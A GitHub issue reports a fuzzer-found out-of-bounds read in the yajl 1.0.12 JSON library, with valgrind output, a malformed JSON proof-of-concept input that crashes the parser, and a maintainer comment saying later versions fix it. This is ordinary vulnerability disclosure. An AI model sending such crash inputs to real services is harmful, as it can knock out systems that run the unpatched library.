Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Uninitialized memory reads and out-of-bound in 1.0.12 #204

Open
zeroinside opened this issue Apr 4, 2018 · 2 comments
Open

Uninitialized memory reads and out-of-bound in 1.0.12 #204

zeroinside opened this issue Apr 4, 2018 · 2 comments

Comments

@zeroinside
Copy link

Hello.
I've done some testing using american-fuzzy-loop. This tool found few serious bugs.
valgrind output:
==85864== Invalid read of size 8
==85864== at 0x4E3D172: yajl_buf_append (in /lib/libyajl.so.1)
==85864== by 0x4E3E0F0: yajl_gen_number (in /lib/libyajl.so.1)
==85864== by 0x401A40: reformat_number (input.c:25)
==85864== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1)
==85864== by 0x4012C0: main (input.c:149)
==85864== Address 0x60540c2c8 is not stack'd, malloc'd or (recently) free'd
==85864==
==85864==
==85864== Process terminating with default action of signal 11 (SIGSEGV)
==85864== Access not within mapped region at address 0x60540C2C8
==85864== at 0x4E3D172: yajl_buf_append (in /lib/libyajl.so.1)
==85864== by 0x4E3E0F0: yajl_gen_number (in /lib/libyajl.so.1)
==85864== by 0x401A40: reformat_number (input.c:25)
==85864== by 0x4E3CD93: yajl_do_parse (in /lib/libyajl.so.1)
==85864== by 0x4012C0: main (input.c:149)
==85864== If you believe this happened as a result of a stack
==85864== overflow in your program's main thread (unlikely but
==85864== possible), you can try to increase the size of the
==85864== main thread stack using the --main-stacksize= flag.
==85864== The main thread stack size used in this run was 8388608.
--85864-- REDIR: 0x50c64f0 (libc.so.6:free) redirected to 0x4c2ed80 (free)

Example PoC:
[[{} ,[[[{} ,[{} ,[[],[[[9],[9],[],[[[9],[[[[],[[9],[9],[[9],[[[[],[[9],[[[9],[[],[[[[],[[9 ,[{} ,[[],[[[9],[9],[],[[[9],[[[[[9],[[[[],[[9],[9],[7],[],[[[9],[[[[[9],[[[[],[[9],[[[9],[[],[[[[],[[9],[9],[],[[[9],[[[[[9],[[[[],[[],[[9],[[[[],[[9],[[],[],[]],[[]],[],[],[[9],[[],[],[[],[[],9],[],[[[9],[[[[[9],[],[9],[],[[[9],[[[[[9],[[[[],[[9],[[[[],[[9],[[],[],[]],[[],[[9],[[9],[9],[],[[[9],[[[[[9],[[[[],[[9],[[[[],[[9],[[],[],[]],[[]],[],[],[[9],[[],[],[[],[[],[[[9],[9],[],[[[9],[9],[[[[],[[9],[[[[],[[9],[[],[],[]],[[[9],[9],[[[[],[[9],[[[[],[[9],[[],[],[]],[[]]C[],[],[[9],[[],[],[[],[[],[[[9],[9],[],[[[9],[[],[[[[],[[9],[[[[[

PoC has been tested on code from: http://lloyd.github.io/yajl/yajl-1.0.12/index.html

@berrange
Copy link

I can reproduce this on the 1.x branch, but I can't reproduce in master. A git bisect suggests it was fixed by #25, so anyone on any 2.x.y release and/or master should be ok.

@Neustradamus
Copy link

A long time ago, I have done a ticket:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants